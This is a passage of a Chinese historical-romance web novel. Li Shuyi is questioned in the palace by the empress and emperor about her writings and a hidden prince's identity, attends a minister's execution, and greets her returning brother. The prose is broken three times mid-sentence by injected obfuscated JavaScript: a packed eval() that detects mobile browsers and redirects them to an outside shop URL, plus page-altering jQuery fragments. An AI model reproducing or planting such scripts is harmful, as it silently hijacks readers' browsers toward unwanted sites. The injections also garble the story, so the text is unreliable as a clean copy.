黎书意夹菜的动作霎时间顿住,在心里冷嗤一句,没想到才过了一个晚上,那边就有动作了。 “二姑娘,您说她为什么突然找您?”兰亭问,记得去岁,二姑娘和太子开始议亲时,皇后娘娘曾派王嬷嬷上府,说是教习宫中规矩,那时二姑娘可没少被她磋磨。 黎书意虽能猜出对方的来意,但也不知他们会如何行动,只放下筷子道:“先看看她要说什么吧。” 端过兰亭递来的茶漱了口,用帕子擦干净嘴,再稍微整理一下仪容,她往花厅去了。 进门时,她换上笑脸,殷勤地问候满脸傲气的老妇人:“不知嬷嬷来访,有失远迎。” “黎二姑娘客气了,今日是老奴叨扰了。”王嬷嬷受用地笑了。 简单寒暄完,黎书意懒得再兜圈子,便直接开口问:“不知是否是皇后娘娘找臣女有事?” 王嬷嬷并未回话,直接抬手唤身边的人:“彩月。” 名叫彩月的小宫女应声走上前来,她手里端着一个精致的木匣子。 王嬷嬷看了黎书意一眼,然后当着她的面将匣子打开了,只见里面装着一套七钿花钗冠。 “这是皇后娘娘入宫时先太后赏赐的,娘娘说赠予黎二姑娘,为太子的失礼行为道歉。” 从繁华炫目的珠宝上移开目光,黎书意在心头冷笑,仅用一套头面就想把囚禁重臣之女这事给抹平了,这算盘打得可真响。 然而她屈居人下,还真不得不接受,遂面上做出惊喜的样子,口是心非道:“谢皇后娘娘抬爱,殿下也只是一时冲动,臣女并未放在心上。” 似乎是很满意她的回答,王嬷嬷含笑点头道:“黎二姑娘不介意就好。” 黎书意陪笑,正欲让兰亭送上“孝敬”的手镯,却闻王嬷嬷又道:“娘娘仍是觉得过意不去,只是她不便出宫,所以想请黎二姑娘进宫一叙。” 让她进宫?强烈的不安涌上黎书意心头,她兀自揣摩着皇后的目的,最后想着多半与谢烜赫有关。 忖度过后,她笑道:“皇后娘娘邀请,臣女怎敢推辞,嬷嬷可否稍等片刻,等我换身衣裳,然后就随你去。” “这是自然。” 点了个头,黎书意利落转身,而后敛起笑容,离开花厅了。 到了外面,走远几步后,兰亭担忧地问:“二姑娘,您真要去?” “皇后口谕,我如何违抗。”黎书意边走边道。 回到载驰院,见谢烜赫站在廊下,两人对望片刻,他先开了口:“我听说宫里来人了。” “嗯,是皇后身边的王嬷嬷。” 廊下并非是谈话的好地方,黎书意开门走进书房。 谢烜赫跟着入屋,合上们后急问:“皇后找你是为了昨夜的事?” 黎书意点头,“她送了我一套头面,然后让我进宫。” “进宫!”听见这两个字,谢烜赫心头一紧,自己的身份经过昨夜之事已然暴露,此时令黎书意进宫不会有好事,想到这,便出言制止道,“你不能去。” 黎书意抬眸正视着眼前人,“你应该很清楚我不能不去。” “那我陪你去。” “不。”她坚定地摇头,“你的身份已经暴露了,去那里根本就是羊入虎口。” “可——” “别可是了,”她出声打断道,“我们昨夜已经商量过了不是吗,如今帝后态度尚不清楚,你不能让他们寻了空子被控制,我会小心应对的,你不必担心。” 说毕,她不给谢烜赫反驳的机会,直接开门转进卧房了。 对即将要见面的人黎书意无半分好感,然而却不能在人前失仪,挑了身中规中矩的衣裳换上,她离开了院落,然后随等候已久的王嬷嬷出府进宫了。 宫墙高耸,红砖碧瓦,黎书意的视线从万年不变的熟悉景物上掠过,在心中暗自揣测着见面时皇后会怎么说。 前行的路上,她不时撞见宫女和太监们,大家对她纷纷侧目,并小声议论起来,尤其进入永安宫内,宫人问候她时较从前殷勤多了。 这些人最是捧高踩低,一年前,自己失了太子妃的位置,他们可没少在背后奚落她,如今又巴巴地贴上来,许是近来她出入频繁,让他们以为自己“复宠”了。 没给这些人一个眼神,她若无其事随王嬷嬷进正殿了。 殿内,皇后正百无聊赖地坐在桌边,桌上摆着几样精致的点心,像是为了招待她提前准备的。 她走到桌前顿足,同时福身见礼道:“见过皇后娘娘。” “快坐下吧。”皇后笑着示意。 她应声在对面坐下。 刚一落座,面前女人的双眸便扫了过来,柔声问:“东西可收到了?” 这问的自然是方才王嬷嬷亲自登门送上府的头面,她做出受宠若惊的模样,忙答说:“臣女收到了,只是礼物太过贵重,臣女有些惶恐。” “好生收着吧,你样貌好,戴着一定好看。” 客套话说完,房间陷入安静,片刻后皇后忽道:“本宫替那混账儿子向你道歉。” 听见这话,黎书意不得不将之前对王嬷嬷说过的话再拿出来讲一遍,她表现得毫不介怀,并主动替谢煜然找托词道:“太子殿下不过是一时冲动,臣女并未放在心上。” 皇后闻言满意地点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545752|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,目光在她脸上游走,欲言又止道:“本宫这儿子是真心喜欢你,若你对他还有意……” 看来道歉并非本意,想当说客才是,黎书意不禁在心底冷嗤一声,怪她老人家好意思说出口,当初她对自己百般挑剔,最后甚至另择她人,现在居然要自己不计前嫌,给谢煜然当侧妃。 尽管心里不屑,黎书意面上却是半分不显,只柔声婉拒道:“谢皇后娘娘抬爱,臣女个性跳脱,沉稳不足,不宜为太子良配。” 话音刚落,听见一声悠长的叹息:“罢了,你们的事我不管了。” 空气又陷入了微妙的静默,皇后的态度也较刚才冷了一些,黎书意故作不知,并不开口挑起话题,只等着面前的人主动提起那个夜闯太子府将她带出来的人。 还未等到,先听见门外响起了赵公公尖亮的通传声:“皇上驾到!” 黎书意闻声身子猛地一僵,皇帝出行,身边宫女太监无数,入院必是问候连连的,怎么可能悄无声息,那么只有一种可能,他一早就等在偏殿,所以今天想见她的人根本就是皇帝。 心跳开始加快,黎书意感到一种措手不及的紧张,原以为今日不过是借由皇后出面,先探探她的口风,不曾想皇帝竟然亲自来了,足以表明他有多重视。 从纷乱的思绪里抽离,黎书意朝门口看去,只见在一片问候声中,身着明黄色龙袍的中年男子迈步走了进来,有些时日没见了,皇帝较记忆里要臃肿了两分,面上显出被掏空身体的憔悴。 仅抬眸瞟了一眼,她便收回了目光,连忙起身,再微微欠身,恭敬地行礼道:“臣女黎书意见过陛下。” “起来吧。”皇帝摆手,说着朝她们走来,最后坐到了皇后旁边。 黎书意直起身来,就这么无所适从地站着。 下一刻,皇帝示意身后抬着东西的宫人上前,对皇后说道:“最近安士进贡了一批上好的锦缎,朕看着色泽、质地和图样都是上等的,所以特意拿来给皇后。” “陛下有心了。”皇后微笑着起身,眼中满是欢喜。 黎书意静静望着两人上演恩爱夫妻,这时,忽见皇帝朝她看来,笑道:“听说年轻姑娘都喜欢这个,一会你走时也带几匹吧。” 闻言,她配合做戏,面上做出欣喜感激之色,福身谢恩道:“谢陛下赏赐。” 话落,殿内的空气一时凝滞了,毕竟他们与她并不相熟,若无要事,实没什么可聊的。 少顷,皇帝率先打破沉默,话题放到了她身上,说好久未见她了,问她最近在干什么,她小心地应对着。 正断断续续叙话间,皇后忽然捂着帕子低咳一声,旋即又把手按在太阳穴上,面对皇帝气若游丝地说:“陛下,妾身忽犯头疾,就先退下了。” “既如此,皇后便去休息吧。”皇帝善解人意地说道。 黎书意在旁默不作声,继续静看两人唱双簧。 皇后一离开,贴身伺候的侍从们也跟着退了,屋子里霎时间空荡了许多。 与皇帝见面是黎书意今日未曾预料到的状况,她的心像打鼓似的咚咚直跳,手心开始冒冷汗,脑袋里也一片混沌。 这时,又听见皇帝对其他侍立的宫人道:“你们也都下去吧。” 于是殿中的宫女太监全部应诺退下,赵公公离开时还把门给合上了。 94. 互探 从门口洒进来的光线随着闭门而渐渐消失,屋里顿时暗了许多,殿宇空旷,一股阴寒悄然聚拢,空气中弥漫着压抑的气息。 黎书意在脑子里迅速琢磨起来,思考着面前这人接下来会对她做什么,是囚禁她,把她当作对付父亲的人质,还是直接杀了他,以泄私愤,然后与父亲撕破脸。 良久,见皇帝抬眼看来,不露声色道:“今日是朕找你过来的。” 说这话时,他的目光紧盯着她,如伺机猎捕的猛兽,充满了试探之意。 没头没尾的一句话,让人难以揣测出意图,黎书意心头乱跳,慌张不安,桌子下的手紧紧拽着衣角。 然而她不能露出破绽,因此只能不断地给自己下心理暗示:这是博弈,她不能露馅,否则谢烜赫危矣,将军府危矣。 慢慢地,她镇定下来了。 她不能表现得一点不慌,太过镇定恐会给皇帝留下早有预料的判断,她亦也不能表现得过于慌张,太过仓惶恐给皇帝留下有事相瞒的判断,于是她故意露出一抹惊慌的神色,无措地看着面前的人。 “墨含……”皇帝轻笑一声,这副模样不像是掌握着生杀大权的九五至尊,反倒像是一个仁慈的长辈,顿了一顿,他用夸赞的语气同她道,“虽然一直都知道你才学过人,但是看到你写的书,朕还是惊讶了一把。” 黎书意默然不语,面上表现着被指出身份的不安与恐慌,还有被夸赞的羞怯。 “怪朕烧书吗?” 耳边响起这句话,平淡的口吻似乎只是随口一问,但黎书意知道这才是谈话的开始,她赶紧回话:“臣女自知有罪,怎敢责怪陛下。” “哦?”皇帝反问,“你何罪之有?” 她谦卑地自省道:“臣女写书的初衷虽是为了披露梁甫的累累罪行,但这么做到底扰乱了民心,致使百姓产生各种不合理的猜疑,为朝廷带来了诸多不便。” 皇帝微微颔首,似乎是满意她的回答,接着叹了口气,目光慈爱地安抚她道:“唉,你也别怪朕,虽然你是好心之举,但是影响过大。” “臣女明白。” “明白就好。” 谈到这里,黎书意已然摸清了皇帝的打算,他采取了蒙混过关之法,把构陷的罪行完全推到了梁甫身上,想做一个被奸臣蒙蔽的好皇兄与好皇叔。 而且,这番受人蒙蔽的说辞也很好向世人交待,尽管会被指责偏听偏信,可比起弑弟来说实在不值一提。 不过,这正合他们的意,虽然总归难逃一死,但是能拖延一些时日,便多拖延一些。 见情况往好的方向发展,黎书意的心情不如刚才忐忑了。 就在这时,皇帝冷不丁问:“他可还安好?” 虽未指名道姓,但彼此都心知肚明“他”指的是谁,黎书意回道:“回陛下,世子安好。” “既安好,为何不来见朕?”皇帝做出蹙眉自责的模样,末了,一脸自责地望着她问,“他是不是在怪朕?” 见你?黎书意在心头腹诽,恐怕是有命来没命回去。怪你?当然要怪,毕竟你可是罪魁祸首。 当然,这话她也就在心里说说,口上则用早就想好的措辞郑重其事答道:“回陛下,世子怎会怪您,诬陷昭王的人是梁甫,您不过是受人蒙蔽了,世子不来,是因为他说他想堂堂正正地来见您与皇后娘娘。” “唉……”皇帝半是愧疚半是感慨地叹息一声,半晌点着头道,“也好,等处决了梁家人,平反诏书下发了,再见也不迟。” 因为清楚不会有这么一天的,所以黎书意听来心里无半分波澜。 沉默了片刻,待皇帝做够了伤心的模样,又朝她看来,确认似地问:“和然儿的事,不再考虑一下?” 她惊愣了片刹,回过神来后婉言谢绝道:“谢陛下关心,臣女目前无心婚嫁。” “好吧……”皇帝惋惜道,顿了顿又说,“前几日麒越传来捷报,你父兄不日便可归家了,你最近几月颇吃了些苦,朕便不留你了,免得回来被黎卿怪罪,你下去吧。” “是,那臣女便告退了。”黎书意应声而起,行了礼,她转身朝门口走去。 殿外,兰亭站在廊下不时往门口张望,心里焦躁不安,二姑娘昨夜好容易被解救回来,还未得到喘息,今日就被召入宫中。 不仅如此,在聊至一半时,皇帝还忽然现身,不多会皇后又借故出来,她也被王嬷嬷用眼神赶离,紧接着所有宫人都被清出殿外。 临了,赵公公还把门给掩上了,皇帝会和二姑娘说什么呢,她会不会有危险,兰亭脑袋里可怕的想法一个接一个。 此时见二姑娘出来,她忙迎上前去,虽然她很想知道皇帝到底说了什么,但是清楚这里是皇宫,处处都是眼线,行差踏错一步,就会人头落地,最后便只化作一句,对着走来的人唤道:“二姑娘。” 殿内,皇后穿过偏殿重新进屋,她站到皇帝面前,说出自己的猜测:“看来他们并不知道。” “嗯。”景帝点头,目光望向门外。 “可惜我儿……”看着走远的背影,皇后微眯着眼心有不甘,接着回头问身旁的人,“皇帝何须过问她意见,君臣有别,您主动赐婚,还怕她不从。” 景帝闻言收回视线,回望着皇后道:“哪有那么简单,之前弃她而择庞家女的事闹得人尽皆知,现在强行赐婚让世人如何看,再者,他父亲可不会答应。” 出宫的路上,黎书意和兰亭主仆二人并不说话,待王嬷嬷将她们送出了永安宫,等宫道上确定无人了,黎书意才脱下恭顺的假面,脸上只剩下冷硬。 让她做侧妃,这两口子当真是吃人不吐骨头,还有皇帝最后的那句话,看似在开玩笑,实则暗含了诸多信息,一嫌她掺和进政事里面,二不满行事需要看父亲的脸色。 兰亭忍了一路,见此处无人,实在憋不住了,小声问道:“二姑娘,皇帝都跟您说了什么?” “他知道《陈冤录》是我写的了,也知道时野就是谢烜赫。” 尽管已经有所猜测,但听见这话兰亭还是控制不住地心肝一颤,也不知二姑娘刚刚一个人是如何面对的,便好奇追问:“他没怪罪您吧?” “算是吧。” 听见这话,兰亭吊着的心回落了一半,于是舒了口气道:“这是不是说没事了?” 话音方落,传来二姑娘的回答:“怎么可能……” 这句话让本就低沉的气氛变得更低了,兰亭不禁开始担忧以后,黎书意则回顾起方才谈话的情况,想要抓住更多细节,主仆二人都陷在自己的思绪里,没有再说话。 到了宫门口,她们坐上家中马车,准备归家。 马车摇摇晃晃行驶起来,刚动了没一会,忽然又停下来,惯性使得黎书意身体向前一倾。 “发生了何事?”兰亭朝外问道。 车夫回说:“是时侍卫。” 黎书意闻言惊诧不已,她想都没想便掀起了车帘,见车前方丈身骑黑马的人的确是谢烜赫,便忙问:“你不是在家吗?” “怕你有事。” 简短的话语拨动了她的心弦,定了一定心神,她勾起唇角轻声道:“我无事。” “无事就好。”谢烜赫说着拉动缰绳,让蹑荆调了个头。 黎书意也放下车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545753|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帘。 最后,谢烜赫骑着蹑荆伴着马车而行,他们一起回了将军府。 回到家中,一进载驰院,黎书意和谢烜赫径直进了书房。 关上门,黎书意把与帝后见面的情况事无巨细地说了一遍,最后,她看向谢烜赫,道出自己的结论:“所以,看起来皇帝打算承认你的身份。” “哼。”谢烜赫发出一声冷嗤。 不屑是对的,这样和认贼作父差不了多少,他岂会愿意。 当然,这也不是她的本意,于是便继续往下说:“看来,我们有更多准备的时间了。” 略一停顿,她又想起一事,忙问:“对了,明天是梁甫斩首的日子,要去吗?” “去。”谢烜赫淡淡吐出一个字,接着解释道,“既然我的好皇叔决心为昭王府平反,我总得表现出大仇得报的样子。” 二月一日,天气晴朗,万里无云。 今天并非节日,然而喜气洋洋的氛围却比过节还要欢乐,无他,只因今日是梁甫的处斩之日。 而将军府,则要比别处更热闹些,一来,大将军与梁甫是政敌,府中上下自然同仇敌忾;二来,是黎书意刻意为之,晨起后她先去祠堂祭拜,接着又打赏侍从们,一切都是为了给皇帝留下他们在庆贺的错觉。 午膳的菜色也比平日丰盛,只是黎书意吃了几嘴便放下了筷子,没办法,尽管她心头舒畅,可一想到即将要面对的血腥场面,便全无胃口了。 刑场每天都有要处决的罪犯,她长这么大还从未光顾过,这回尽管知道会有不适,可她还是想亲自去,虽然梁甫非昭王案的主谋,但毕竟是经了他的手的,而且,对于将军府来说,他本就是她的仇敌。 午正,黎书意登上了马车,往刑场而去。 前行的路上,马车走走停停,周围人潮汹涌,谁能想到有一天人们会对行刑表现出和赶集一样的热情呢? 当抵达刑场走出马车的那一刻,黎书意看到了更为壮观的场景,只见刑台四周挤满了黎民百姓,其中有平民有贵族,有男有女,有老有少,简直是全民齐聚。 正值中午,丽阳高悬在空,大家引颈而望,刑场沸天震地。 候了一会,行刑官登台了。 接着,一群身穿囚服的男男女女被押了上来,黎书意仰着头仔细辨认了一番,终于看出了谁是谁。 左边第一个是梁祖昂,他专横跋扈,欺男霸女,仗着相府小公子的身份这些年做尽恶事,尽管身上背着人命官司也无人敢罚,如今正好一笔清算。 第三个是梁祖庭,眼前的人完全无法与记忆里的俊杰相比对,他长她三岁,曾和她的兄长、谢烜赫和谢煜然并称四杰,如今却落得如此下场,这当中大半还是她的功劳。 唏嘘过后,她的心恢复坚硬,他的善良和谦逊是伪装的,他的聪明才智用在了剥削上,得此恶果罪有应得。 最后,她将目光落到了刑场正中间的梁甫身上,他的形容比其他人要惨上百倍,较押送入京师时清减了许多,几乎是奄奄一息了,估计在监狱里没少吃苦,那双浑浊的眼睛沉静无波,如一潭死水,看来应当是接受必死的命运了。 “死得好!” “只是斩首真便宜他了!” …… 谩骂声不绝于耳。 黎书意漠然地注视着一切,梁甫擅宠害政,横征暴敛,诬构良善,结党营私,实乃国之贼也,即便是挫骨扬灰也死不足惜。 “午时三刻已到,行刑!” 令箭随着话音摔落在地,刽子手们豪迈地抬起酒坛子大口饮酒,然后再从刀柄上吐过,最后扬起了手上的大刀。 95. 兄归 刽子手手里抬起的刀大而重,银白色的刃口在烈阳的照耀下闪闪发光,一看便知锋利无比。 黎书意正犹豫自己到底要不要看,一只大掌伸到了眼前,遮住了她的视线,最后她看到的只是清晰的掌纹和修长的手指。 “咔嚓!”耳边传来利落短促的响动,然后是类似果子滚落的“咕噜”声,下一刻,人群中爆发出叫好声,千百人的说话声交织在一起,响彻云霄。 “杀得好!” “终于死了!” “真是大快人心!” …… 他们高声呐喊,声音中带着难以抑制的激动与解气。 黎书意无法形容当下的矛盾心情,她明明是希望梁家人死的,可是当他们真死了,她却无法做到毫无负担的喜悦。 又过了好一会,待嘈杂声减弱,四周的人也感慨着离去了,横在她眼前的手才终于放下,她克制着心里的害怕往前扫去,只看到了刑台上残留的血迹,以及旁侧搬运尸身的差役留下的背影。 怔了一瞬,她侧过头,与谢烜赫对望,紧接着,她努力做出解气高兴的模样,这附近说不定有皇帝的耳目在。 梁甫被斩首,她是当真觉得大快人心,然而短暂的欣喜过后,她很快陷入到迷茫和不安之中,昭王案审判在即,不知皇帝后续会有何动作…… 近来,黎书意每日都活在压抑之中,隔天府上难得迎来了一个好消息,在中午时分她收到黎家军先行官送来的书信,信上说兄长再过两日就到孟章了。 兄长还朝的当天早上,如同父亲每次凯旋而归时那样,她起得很早,待梳洗结束,便督促府里人张罗起来。 因为军队差不多午时便到了,所以用完午膳没多久她就出门了。 当马车来到城门口时,只见街道两边已经站着不少百姓。弃了马车,黎书意与谢烜赫一行人登上城楼,站在墩台上极目远望。 时值中午,日悬高天,官道上人满为患,大家语笑喧呼。 站着候了一会,视野最远处出现翻滚的烟尘,慢慢地,银灰色长龙逐渐清晰,听着如雷鸣般的铁蹄声,黎书意的心一下一下激动地跳着,双目一瞬不瞬地盯着队伍的最前方。 高头大马上,少年将军一身银铠,身姿英挺如刃,她的视线紧随着兄长,从看不清面容,到五官在眼前变得明朗。 不多时,兄长也发现了她,在骏马将他带向城门前的刹那,还朝她展露出一个恰到好处的笑容。 黎书意嘴一扁,心疼道:“似乎瘦了!” 旁边的谢烜赫闻言笑了,说:“人无事就好,我们回去吧。” “好。”她点头,然后他们下城楼了。 这一会的工夫,军队已经行出了百余步,此时只能看见兄长挺拔宽阔的背影。 街道四周,百姓们热烈欢呼,交口称颂,赞父亲攻无不克,战无不胜,赞兄长少年英雄,后生可畏。 随着年龄的增长,对于这种褒奖黎书意是既爱又怕的,“功高震主”四个字像一把悬在头顶的利剑,指不定哪一日就落下来,要了他们的命,而现在,这天很近了。 恍惚间,耳边传来城门守卫的声音:“诶,怎么没见大将军啊?” 另一人回道:“那角族首领诡计多端,大将军估计是怕他阳奉阴违,所以还得在那里多留一段时日。” 这是对外的说辞,对内的只有他们才清楚。 回到府中,大厨房已经开始备膳了,菜单是黎书意早上就定好的,全是兄长爱吃的菜。 尽管知道兄长进宫述职去了,恐怕还有些时候才能回来,可是她焦急难耐,一是想兄妹俩好好说会话的心十分迫切,二是担忧兄长在宫里的处境,她坐在前厅中等待,眼睛不时往门口瞧上一眼。 然而,干坐着就免不了会多想,这一想便加重了心里的不安,自己前几天才被皇帝试探了一番,她担心兄长进宫也会被盘问,尤其父亲并未归朝。 看出了她的忧虑,谢烜赫倒了一杯茶,然后柔声说:“此次南征收归了麒越的统治权,他不会在这种时候有所动作的,况且长策心思机敏,一定应对有方,你不必担忧。” 两人候了足有两个时辰,等到夕阳欲坠,终于听见小厮通传说少将军回府了。 黎书意听后立马起身,然后快步迈出前厅去迎人。 刚走没几步,撞见兄长站在大门内侧同绿沉交代着什么,见自己在看他,他三言两语说完话,然后朝她走来。 “小妹,我回来了。” “欢迎兄长归家。” “嗯。”黎长策笑应着,旋即又道,“对了,给你带了几件别致的首饰,还有一些特色小食,一会让人送去你院里。” “谢兄长。” 黎长策同小妹问候完,将视线左移,对着谢烜赫浅浅一笑。 谢烜赫以点头回应,好兄弟间的问候尽在不言中。 两方简单寒暄过后,黎长策回自己院落去沐浴更衣了,黎书意和谢烜赫则一同去主院了。 绮丽的余晖铺洒在尚姜院中,厨房饭菜已经备好,丫鬟婆子们有序地抬着托盘步入膳厅内,不大会工夫,案上便摆满了色彩斑斓的佳肴,菜香四溢,空气中弥漫着诱人的味道。 最后一道菜端上来没多久,黎长策跨步进入屋中,脱下了坚硬的铠甲,他换上了一身浅灰色锦袍,变回了记忆里最熟悉最温和的那个人。 待他落座了,黎书意屏退了左右,只留下谢烜赫,她想着今晚三个人能好好吃一顿饭。 当只剩他们三人时,室内反而一下子安静下来,分别了四五个月,期间经历的事情太多,一时之间竟然不知从何说起。 最后,是黎书意率先打破了沉默,她看向黎长策,嗔怪道:“兄长同我说实话,在麒越可曾发生过什么,每次回信上面关于战况的只有寥寥数语。” “是真的无事。”黎长策无奈地笑了,然后说,“从表面上看,我们和角族僵持了四个月,但其实双方交战的时候并不多,毕竟是抱着讲和的态度去的,现在嵇弋已经和父亲处成好兄弟了。” “真的?”黎书意诧异地扬起眉毛。 “我何时曾骗过你。” 得到保证,她安心了,于是拿起筷子准备吃饭,刚欲夹菜,听见兄长叹道:“倒是你们这边,反而比战场上还要危险。” 她手上动作一顿,知道秋后算账的时刻到了,果不其然,下一刻就见兄长拿责怪的眼神瞧她,轻斥道:“你呀你,你知道我和父亲得知你牵涉进梁家内幕时的感受吗?” 收回伸到一半的筷子,她像是一个犯了错的小孩子,低着头安静地接受关切与谴责。 “你知道的,我们宁可真相出得慢一点,也不愿你牵涉进危险之中。”兄长继续说,停顿了片刻,又叮嘱道,“记得,下回在不能确定对方身份的情况下,不要随意救人。” 见教训完了,她老实认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545754|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错:“我知道了,下次我不会再这般欠考虑了。” 话音刚落,一旁的谢烜赫开口了:“是我的错,我当时就不该答应她的请求,带她去客郡。” “这不干你的事,”黎长策看向好友道,“这丫头的性子我会不清楚,她若是想做什么,你哪能拦得住她啊……” “算了,事情都过去了,再谈也没意义。”黎长策转了话题,问说,“对了,这几日在路上通信不便,最近孟章可发生了什么?” 闻言,黎书意与谢烜赫对望一眼,最后黎书意转向正前方如实告知道:“他的身份已经暴露了。” “这么快!”黎长策的眼睛猛然一睁,脸上是掩盖不住的惊讶。 谢烜赫声音晦涩地说:“是我考虑不周,当初因为存了让人揭开身份的心思,后期行事就没有刻意隐藏踪迹。” “不,”黎长策闻言出声反驳,他脸上闪过失望冰冷,万千话语最后只化作淡淡一句,“谁能料到背后的人当真是他呢?” “兄长进宫面圣时,皇帝是否提到相关话题?” 黎书意适时开口询问。 “没有……”黎长策摇了摇头,“皇帝只问了麒越的战事经过,还有目前那里的建设情况。” 闻言,黎书意在心里思考着皇帝未问的原因,或许是考虑到兄长彼时正在参战,即便知晓内情,也甚少参与;或许是考虑到兄长刚立功回来,不宜提起此事伤和气;又或许是考虑到问多了会引发猜疑。 一阵不短不长的沉默后,黎长策重拾话题,追问道:“那后面的事呢?” 后面……黎书意想到后面的事牵涉到谢煜然,这断不能让兄长知道,否则有得纠缠,于是她直接略过了,只说:“前天我被召进宫,与皇帝见了一面。” 话音刚落,就见兄长的瞳孔骤然一缩,紧张地问她:“可发生了什么?” “兄长放心,我并未出任何事。”她忙安抚,并将经过仔细道来,“他先是怪罪我行为失妥,接着让我体谅他的难处,最后问到了他。” 说着,她偏头看向谢烜赫。 听完所有,黎长策轻蔑地一笑,发表意见道:“倒是把自己摘得干干净净……” “嗯。”黎书意点头,又瞥了谢烜赫一眼,“我们商量过了,决定暂时按兵不动,先陪他演戏。” “这样也好,爆发得越迟,我们准备的时间就越多。”黎长策赞同地说。 谢烜赫插话补充道:“不过,恐怕也安生不了几天,还是得另做准备,我会吩咐阁中暗卫在金错山庄准备好粮草、军械等必要物资。” 金错山庄,乍然听见新地方,黎书意好奇问:“那是什么地方?” 谢烜赫答言:“一所昭王府不为外人知道的别庄。” 正事到此为止,因为谈的是关乎未来命运的大事,所以案上一时沉寂。 片刻后,黎长策忽然笑开,目光在黎书意和谢烜赫身上来回移动,揶揄道:“看来我和父亲离开的这段时日,你们相处得不错。” 经由这话,黎书意在脑子里快速回顾起这四月与谢烜赫的点点滴滴,他们一同寻找真相,经历了生死,甚至还表明了心意,的确相处得不错,或者可以说越界了。 当然,她可不敢让兄长瞧出来,究其原因,小部分是与曾经不对盘的人走到了一起的尴尬,大部分是谢烜赫目前的处境不好。 眼下该谈的都谈完了,三人终于正儿八经地吃饭,。 96. 畏缩 翌日,黎书意略微起迟了些,昨夜她多饮了几杯,此刻还有些头痛。 洗漱毕,她在食案边坐下,形容懒散地端起瓷碗,开始一口一口喝着刚抬上来的热粥。 才喝了两口,外头传来急促的脚步声,旋即听见绿沉在同兰亭说话,说是要见她,语气很是焦急,于是她连忙搁下碗,擦干净嘴,扬声叫人进来。 绿沉应声而入,一开口便是:“二姑娘,大事不好了!” “何事,你慢慢说。” 绿沉忙道:“事情是这样的,今早少将军把毕侍卫长叫到跟前,询问将军府近半年的情况,少将军从他口中得知了您被太子掳走之事,现在已经去找时侍卫问责了,还扬言说要找太子殿下算账呢!” “什么?”闻言,黎书意惊叫着站起身来,是她疏忽了,居然忘了叮嘱府里人别透露此事,不过大约叮嘱了也无用,过后总会知道的。 她当即朝外跑去,顾不上形象,一路大步流星,气喘吁吁地赶至后院,就见院子里站着两人,兄长正揪着谢烜赫的衣领,声音里的怒气清晰可闻。 “你说你会照顾好她的,这就是你的照顾,让一个未出阁的女孩子落到一个觊觎她的人手上?” “是我没照顾好她。”谢烜赫丝毫不做反抗。 见状,黎书意忍着腰侧的酸痛,急忙走上前去,扒拉开兄长的手劝道:“兄长,这事怪不着他,他当时去别的地方了。” 黎长策听后终于不甘不愿地松开了手。 看兄长松手了,黎书意以为他怒气消了,没成想,下一刻,那双素来温柔注视她的眼睛严肃地瞪向她,“还有你,出了这种事竟敢瞒着我。” 她吐了吐舌头,低垂着头辩解道:“我这不是怕你担心嘛……” “哼。” 头顶传来一声冷哼,旋即视野里的那双脚迈步走出去了,她赶紧追上,“兄长这是要去哪?” “去找谢煜然。”黎长策愤愤然回道,一双眼睛几乎要喷出火来,咬牙切齿地说,“堂堂太子,居然强掳一个未出阁的姑娘,他的礼仪都喂狗吃了!” 一听他要找谢煜然,黎书意忙拉住他的胳膊,出声阻止:“兄长你不能去。” “难道就让你吃这个哑巴亏?”黎长策不甘地反问。 “兄长也知道目前我们不宜再与皇室起冲突了,再说了,皇后已经向我道歉了。”黎书意不遗余力劝道。 黎长策闻言神色松动,他知道这是最明智的处理方式,他的小妹并非忍气吞声的主,不计较还不是因为顾及着家里的状况。 可是他难免心生疼惜和不甘,这小丫头是他家捧在手心里长大的,即便对方是太子,是他的好兄弟,他也想找回公道。 “兄长,我真的没事。”黎书意继续安抚着。 黎长策抿着唇,半晌,他看着眼前的少女,张口歉疚地说:“让你受委屈了。” 见已经将人给劝住了,黎书意摇摇头道:“我不委屈的。” “早晚有一日,兄长会替你讨回公道。”一只大手轻揉着她的头,做出保证。 看兄长被安抚了,黎书意转头望着走过来的少年,责怪道:“你怎么干站着让他训?” “本来就是我的错。”谢烜赫姿态淡然。 “怎会是你的错,”黎书意皱眉辩解,“要说有错,分明是我连累了你,才害你为了救我被迫暴露了身份。” 听见两人的对话,黎长策目含深意地看着互相体谅的少男少女,旋即道:“昨晚我就奇怪,原来竟然是这样。” 三人正说话间,兰亭小跑进院中,黎书意刚放下的心不禁又提了上去,心道该不会又出什么事了吧。 还好,下一刻兰亭展露出笑容,报说:“少将军,二姑娘,林大姑娘来了。” 闻言,她顿时舒了口气,然后眼睛往旁边一瞟,兄长才刚回家林静仪就登门拜访了,显然是为他而来的。 